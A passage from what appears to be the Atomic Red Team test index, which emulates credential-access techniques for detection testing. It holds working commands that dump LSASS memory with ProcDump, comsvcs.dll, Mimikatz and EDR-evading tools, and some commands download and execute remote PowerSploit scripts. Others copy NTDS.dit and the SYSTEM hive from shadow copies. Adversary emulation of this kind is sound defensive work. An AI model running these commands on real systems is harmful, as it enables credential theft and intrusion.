          description: Path where resulting data should be placed
          type: Path
          default: "%temp%\\wce-output.txt"
        wce_zip_hash:
          description: File hash of the Windows Credential Editor zip file
          type: String
          default: 8F4EFA0DDE5320694DD1AA15542FE44FDE4899ED7B3A272063902E773B6C4933
        wce_exe:
          description: Path of Windows Credential Editor executable
          type: Path
          default: PathToAtomicsFolder\T1003.001\bin\wce.exe
        wce_url:
          description: Path to download Windows Credential Editor zip file
          type: Url
          default: https://www.ampliasecurity.com/research/wce_v1_41beta_universal.zip
      dependency_executor_name: powershell
      dependencies:
      - description: 'Windows Credential Editor must exist on disk at specified location
          (#{wce_exe})

'
        prereq_command: 'if (Test-Path #{wce_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          $parentpath = Split-Path "#{wce_exe}"; $zippath = "$parentpath\wce.zip"
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
          if(Invoke-WebRequestVerifyHash "#{wce_url}" "$zippath" #{wce_zip_hash}){
            Expand-Archive $zippath $parentpath\wce -Force
            Move-Item $parentpath\wce\wce.exe "#{wce_exe}"
            Remove-Item $zippath, $parentpath\wce -Recurse
          }
      executor:
        command: "#{wce_exe} -o #{output_file}\n"
        cleanup_command: del "#{output_file}" >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using ProcDump
      auto_generated_guid: 0be2230c-9ab3-4ac2-8826-3199b9a0ebf8
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
        ProcDump.

        Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

        If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path where resulting dump should be placed
          type: Path
          default: C:\Windows\Temp\lsass_dump.dmp
        procdump_exe:
          description: Path of Procdump executable
          type: Path
          default: PathToAtomicsFolder\T1003.001\bin\procdump.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'ProcDump tool from Sysinternals must exist on disk at specified
          location (#{procdump_exe})

'
        prereq_command: 'if (Test-Path #{procdump_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip"
          Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force
          New-Item -ItemType Directory (Split-Path #{procdump_exe}) -Force | Out-Null
          Copy-Item $env:TEMP\Procdump\Procdump.exe #{procdump_exe} -Force
      executor:
        command: "#{procdump_exe} -accepteula -ma lsass.exe #{output_file}\n"
        cleanup_command: 'del "#{output_file}" >nul 2> nul

'
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using comsvcs.dll
      auto_generated_guid: 2536dee2-12fb-459a-8c37-971844fa73be
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

        Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
      supported_platforms:
      - windows
      executor:
        command: 'C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll,
          MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

'
        cleanup_command: 'Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Dump LSASS.exe Memory using direct system calls and API unhooking
      auto_generated_guid: 7ae7102c-a099-45c8-b985-4c7a2d05790d
      description: "The memory of lsass.exe is often dumped for offline credential
        theft attacks. This can be achieved using direct system calls and API unhooking
        in an effort to avoid detection. \nhttps://github.com/outflanknl/Dumpert\nhttps://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/\nUpon
        successful execution, you should see the following file created C:\\\\windows\\\\temp\\\\dumpert.dmp.\n\nIf
        you see a message saying \\\"The system cannot find the path specified.\\\",
        try using the  get-prereq_commands to download the  tool first.\n"
      supported_platforms:
      - windows
      input_arguments:
        dumpert_exe:
          description: Path of Dumpert executable
          type: Path
          default: PathToAtomicsFolder\T1003.001\bin\Outflank-Dumpert.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Dumpert executable must exist on disk at specified location
          (#{dumpert_exe})

'
        prereq_command: 'if (Test-Path #{dumpert_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -ItemType Directory (Split-Path #{dumpert_exe}) -Force | Out-Null
          Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile #{dumpert_exe}
      executor:
        command: "#{dumpert_exe}\n"
        cleanup_command: 'del C:\windows\temp\dumpert.dmp >nul 2> nul

'
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using NanoDump
      auto_generated_guid: dddd4aca-bbed-46f0-984d-e4c5971c51ea
      description: |
        The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

        https://github.com/helpsystems/nanodump

        Upon successful execution, you should find the nanondump.dmp file in the temp directory
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'NanoDump executable must exist on disk at specified location
          ($env:TEMP\nanodump.x64.exe)

'
        prereq_command: 'if (Test-Path $env:TEMP\nanodump.x64.exe) {exit 0} else {exit
          1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/helpsystems/nanodump/raw/84db0c1737bbe027431733c193cfacf59a07259b/compiled/nanodump.x64.exe" -OutFile "$env:TEMP\nanodump.x64.exe"
      executor:
        command: '%temp%\nanodump.x64.exe -w "%temp%\nanodump.dmp"

'
        cleanup_command: 'del "%temp%\nanodump.dmp" >nul 2> nul

'
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using Windows Task Manager
      auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
        Manager and administrative permissions.
      supported_platforms:
      - windows
      executor:
        steps: |
          1. Open Task Manager:
            On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking
            on the task bar and selecting "Task Manager".

          2. Select lsass.exe:
            If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe
            and select it for manipulation.

          3. Dump lsass.exe memory:
            Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.
        name: manual
    - name: Offline Credential Theft With Mimikatz
      auto_generated_guid: 453acf13-1dbd-47d7-b28a-172ce9228023
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
        Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path of the Lsass dump
          type: Path
          default: "%tmp%\\lsass.DMP"
        mimikatz_exe:
          description: Path of the Mimikatz binary
          type: String
          default: PathToAtomicsFolder\T1003.001\bin\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe})

'
        prereq_command: 'if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\Mimi.zip"
          Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force
          New-Item -ItemType Directory (Split-Path #{mimikatz_exe}) -Force | Out-Null
          Copy-Item $env:TEMP\Mimi\x64\mimikatz.exe #{mimikatz_exe} -Force
      - description: 'Lsass dump must exist at specified location (#{input_file})

'
        prereq_command: 'cmd /c "if not exist #{input_file} (exit /b 1)"

'
        get_prereq_command: 'Write-Host "Create the lsass dump manually using the
          steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)"

'
      executor:
        command: '#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords
          full" exit

'
        name: command_prompt
        elevation_required: true
    - name: LSASS read with pypykatz
      auto_generated_guid: c37bc535-5c62-4195-9cc3-0517673171d8
      description: |
        Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

        Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

        Successful execution of this test will display multiple useranames and passwords/hashes to the screen.
      supported_platforms:
      - windows
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Computer must have python 3 installed

'
        prereq_command: |
          py -3 --version >nul 2>&1
          exit /b %errorlevel%
        get_prereq_command: 'echo "Python 3 must be installed manually"

'
      - description: 'Computer must have pip installed

'
        prereq_command: |
          py -3 -m pip --version >nul 2>&1
          exit /b %errorlevel%
        get_prereq_command: 'echo "PIP must be installed manually"

'
      - description: 'pypykatz must be installed and part of PATH

'
        prereq_command: |
          pypykatz -h >nul 2>&1
          exit /b %errorlevel%
        get_prereq_command: 'pip install pypykatz

'
      executor:
        command: 'pypykatz live lsa

'
        name: command_prompt
        elevation_required: true
    - name: Dump LSASS.exe Memory using Out-Minidump.ps1
      auto_generated_guid: 6502c8f0-b775-4dbd-9193-1298f56b6781
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
        powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
        Upon successful execution, you should see the following file created $env:SYSTEMROOT\System32\lsass_*.dmp.
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump
        cleanup_command: 'Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Create Mini Dump of LSASS.exe using ProcDump
      auto_generated_guid: 7cede33f-0acd-44ef-9774-15511300b24b
      description: |
        The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
        ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

        Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

        If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path where resulting dump should be placed
          type: Path
          default: C:\Windows\Temp\lsass_dump.dmp
        procdump_exe:
          description: Path of Procdump executable
          type: Path
          default: PathToAtomicsFolder\T1003.001\bin\procdump.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'ProcDump tool from Sysinternals must exist on disk at specified
          location (#{procdump_exe})

'
        prereq_command: 'if (Test-Path #{procdump_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip"
          Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force
          New-Item -ItemType Directory (Split-Path #{procdump_exe}) -Force | Out-Null
          Copy-Item $env:TEMP\Procdump\Procdump.exe #{procdump_exe} -Force
      executor:
        command: "#{procdump_exe} -accepteula -mm lsass.exe #{output_file}\n"
        cleanup_command: 'del "#{output_file}" >nul 2> nul

'
        name: command_prompt
        elevation_required: true
    - name: Powershell Mimikatz
      auto_generated_guid: 66fb0bc1-3c3f-47e9-a298-550ecfefacbc
      description: "Dumps credentials from memory via Powershell by invoking a remote
        mimikatz script.\nIf Mimikatz runs successfully you will see several usernames
        and hashes output to the screen.\nCommon failures include seeing an \\\"access
        denied\\\" error which results when Anti-Virus blocks execution. \nOr, if
        you try to run the test without the required administrative privleges you
        will see this error near the bottom of the output to the screen \"ERROR kuhl_m_sekurlsa_acquireLSA\"\n"
      supported_platforms:
      - windows
      input_arguments:
        remote_script:
          description: URL to a remote Mimikatz script that dumps credentials
          type: Url
          default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1
      executor:
        command: 'IEX (New-Object Net.WebClient).DownloadString(''#{remote_script}'');
          Invoke-Mimikatz -DumpCreds

'
        name: powershell
        elevation_required: true
    - name: Dump LSASS with .Net 5 createdump.exe
      auto_generated_guid: 9d0072c8-7cca-45c4-bd14-f852cfa35cf0
      description: "This test uses the technique describe in this tweet \n(https://twitter.com/bopin2020/status/1366400799199272960?s=20)
        from @bopin2020 in order to dump lsass\n"
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path where resulting dump should be placed
          type: Path
          default: C:\Windows\Temp\dotnet-lsass.dmp
        createdump_exe:
          description: Path of createdump.exe executable
          type: Path
          default: C:\Program Files\dotnet\shared\Microsoft.NETCore.App\5.*.*\createdump.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must have createdump.exe from .Net 5

'
        prereq_command: 'if (Test-Path ''#{createdump_exe}'') {exit 0} else {exit
          1}

'
        get_prereq_command: 'echo ".NET 5 must be installed manually." "For the very
          brave a copy of the executable can be found here: https://github.com/Scoubi/RedTeam-Tools/blob/main/createdump.exe"

'
      executor:
        command: |
          echo "Createdump Path #{createdump_exe}"
          $LSASS = tasklist | findstr "lsass"
          $FIELDS = $LSASS -split "\s+"
          $ID = $FIELDS[1]
          & "#{createdump_exe}" -u -f #{output_file} $ID
        cleanup_command: 'Remove-Item #{output_file} -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Dump LSASS.exe using imported Microsoft DLLs
      auto_generated_guid: 86fc3f40-237f-4701-b155-81c01c48d697
      description: "The memory of lsass.exe is often dumped for offline credential
        theft attacks. This can be achieved by\nimporting built-in DLLs and calling
        exported functions. Xordump will re-read the resulting minidump \nfile and
        delete it immediately to avoid brittle EDR detections that signature lsass
        minidump files.\n\nUpon successful execution, you should see the following
        file created $env:TEMP\\lsass-xordump.t1003.001.dmp.\n"
      supported_platforms:
      - windows
      input_arguments:
        xordump_exe:
          description: Path to xordump
          type: Path
          default: C:\Windows\Temp\xordump.exe
        output_file:
          description: Path where resulting dump should be placed
          type: Path
          default: C:\Windows\Temp\lsass-xordump.t1003.001.dmp
      dependencies:
      - description: 'Computer must have xordump.exe

'
        prereq_command: 'if (Test-Path ''#{xordump_exe}'') {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe}
      executor:
        command: "#{xordump_exe} -out #{output_file} -x 0x41\n"
        cleanup_command: 'Remove-Item #{output_file} -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
  T1557:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1557
        url: https://attack.mitre.org/techniques/T1557
      - external_id: CAPEC-94
        source_name: capec
        url: https://capec.mitre.org/data/definitions/94.html
      - source_name: Rapid7 MiTM Basics
        url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
        description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March
          2, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Man-in-the-Middle
      description: |-
        Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)

        Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.
      id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-10-16T15:19:48.733Z'
      created: '2020-02-11T19:07:12.114Z'
      x_mitre_contributors:
      - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project
      x_mitre_detection: Monitor network traffic for anomalies associated with known
        MiTM behavior. Consider monitoring for modifications to system configuration
        files involved in shaping network traffic flow.
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - User
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
    atomic_tests: []
  T1556:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556
        url: https://attack.mitre.org/techniques/T1556
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - source_name: Xorrior Authorization Plugins
        url: https://xorrior.com/persistent-credential-theft/
        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
          Authorization Plugins. Retrieved April 22, 2021.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Modify Authentication Process
      description: |-
        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-26T20:08:31.712Z'
      created: '2020-02-11T19:01:56.887Z'
      x_mitre_contributors:
      - Chris Ross @xorrior
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
        controller and/or local computer. Monitor for changes to Registry entries
        for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
        Packages</code>) and correlate then investigate the DLL files these files
        reference. \n\nPassword filters will also show up as an autorun and loaded
        DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor
        for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe
        running on a domain controller as well as for malicious modifications to functions
        exported from authentication-related system DLLs (such as cryptdll.dll and
        samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module
        paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools
        such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor
        for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation:
        Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity
        audit policies across the enterprise and with externally accessible services.
        (Citation: TechNet Audit Policy) Look for suspicious account behavior across
        systems that share accounts, either user, admin, or service accounts. Examples:
        one account logged into multiple systems simultaneously; multiple accounts
        logged into the same machine simultaneously; accounts logged in at odd times
        or outside of business hours. Activity may be from interactive login sessions
        or process ownership from accounts being used to execute binaries on a remote
        system as a particular account. Correlate other security systems with login
        information (e.g., a user has an active login session but has not entered
        the building or does not have VPN access)."
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
    atomic_tests: []
  T1003.003:
    technique:
      id: attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24
      description: |
        Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)

        In addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)

        The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

        * Volume Shadow Copy
        * secretsdump.py
        * Using the in-built Windows tool, ntdsutil.exe
        * Invoke-NinjaCopy
      name: NTDS
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1003.003
        url: https://attack.mitre.org/techniques/T1003/003
      - url: https://en.wikipedia.org/wiki/Active_Directory
        description: Wikipedia. (2018, March 10). Active Directory. Retrieved April
          11, 2018.
        source_name: Wikipedia Active Directory
      - url: http://adsecurity.org/?p=1275
        description: Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz
          to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory
          Forest. Retrieved February 3, 2015.
        source_name: Metcalf 2015
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-12-14T23:08:02.782Z'
      created: '2020-02-11T18:42:35.572Z'
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_system_requirements:
      - Access to Domain Controller or backup
      x_mitre_detection: Monitor processes and command-line arguments for program
        execution that may be indicative of credential dumping, especially attempts
        to access or copy the NTDS.dit.
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      identifier: T1003.003
    atomic_tests:
    - name: Create Volume Shadow Copy with vssadmin
      auto_generated_guid: dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon)
          type: String
          default: 'C:'
      dependencies:
      - description: 'Target must be a Domain Controller

'
        prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v
          ProductType | findstr LanmanNT

'
        get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller
          must be done manually

'
      executor:
        command: 'vssadmin.exe create shadow /for=#{drive_letter}

'
        name: command_prompt
        elevation_required: true
    - name: Copy NTDS.dit from Volume Shadow Copy
      auto_generated_guid: c6237146-9ea6-4711-85c9-c56d263a6b03
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

        This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin".
        A successful test also requires the export of the SYSTEM Registry hive.
        This test must be executed on a Windows Domain Controller.
      supported_platforms:
      - windows
      input_arguments:
        vsc_name:
          description: Name of Volume Shadow Copy
          type: String
          default: "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1"
        extract_path:
          description: Path for extracted NTDS.dit
          type: Path
          default: C:\Windows\Temp
      dependencies:
      - description: 'Target must be a Domain Controller

'
        prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v
          ProductType | findstr LanmanNT

'
        get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller
          must be done manually

'
      - description: 'Volume shadow copy must exist

'
        prereq_command: 'if not exist #{vsc_name} (exit /b 1)

'
        get_prereq_command: 'echo Run "Invoke-AtomicTest T1003.003 -TestName ''Create
          Volume Shadow Copy with vssadmin''" to fulfill this requirement

'
      - description: 'Extract path must exist

'
        prereq_command: 'if not exist #{extract_path} (exit /b 1)

'
        get_prereq_command: 'mkdir #{extract_path}

'
      executor:
        command: |
          copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit
          copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE
          reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE
        cleanup_command: |
          del "#{extract_path}\ntds.dit"        >nul 2> nul
          del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul
          del "#{extract_path}\SYSTEM_HIVE"     >nul 2> nul
        name: command_prompt
        elevation_required: true
    - name: Dump Active Directory Database with NTDSUtil
      auto_generated_guid: 2364e33d-ceab-4641-8468-bfb1d7cc2723
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
        uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of
        subsequent domain controllers without the need of network-based replication.

        Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.
      supported_platforms:
      - windows
      input_arguments:
        output_folder:
          description: Path where resulting dump should be placed
          type: Path
          default: C:\Windows\Temp\ntds_T1003
      dependencies:
      - description: 'Target must be a Domain Controller

'
        prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v
          ProductType | findstr LanmanNT

'
        get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller
          must be done manually

'
      executor:
        command: |
          mkdir #{output_folder}
          ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q
        cleanup_command: 'rmdir /q /s #{output_folder} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Create Volume Shadow Copy with WMI
      auto_generated_guid: 224f7de0-8f0a-4a94-b5d8-989b036c86da
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon and backslash)
          type: String
          default: C:\
      dependencies:
      - description: 'Target must be a Domain Controller

'
        prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v
          ProductType | findstr LanmanNT

'
        get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller
          must be done manually

'
      executor:
        command: 'wmic shadowcopy call create Volume=#{drive_letter}

'
        name: command_prompt
        elevation_required: true
    - name: Create Volume Shadow Copy remotely with WMI
      auto_generated_guid: d893459f-71f0-484d-9808-ec83b2b64226
      description: |
        This test is intended to be run from a remote workstation with domain admin context.
        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon and backslash)
          type: String
          default: C:\
        target_host:
          description: IP Address / Hostname you want to target
          type: String
          default: localhost
      dependencies:
      - description: 'Target must be a reachable Domain Controller, and current context
          must be domain admin

'
        prereq_command: 'wmic /node:"#{target_host}" shadowcopy list brief

'
        get_prereq_command: 'echo Sorry, can''t connect to target host, check: network,
          firewall or permissions (must be admin on target)

'
      executor:
        command: 'wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter}

'
        name: command_prompt
        elevation_required: true
    - name: Create Volume Shadow Copy with Powershell
      auto_generated_guid: 542bb97e-da53-436b-8e43-e0a7d31a6c24
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon)
          type: String
          default: C:\
      executor:
        command: "(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')\n"
        name: powershell
        elevation_required: true
    - name: Create Symlink to Volume Shadow Copy
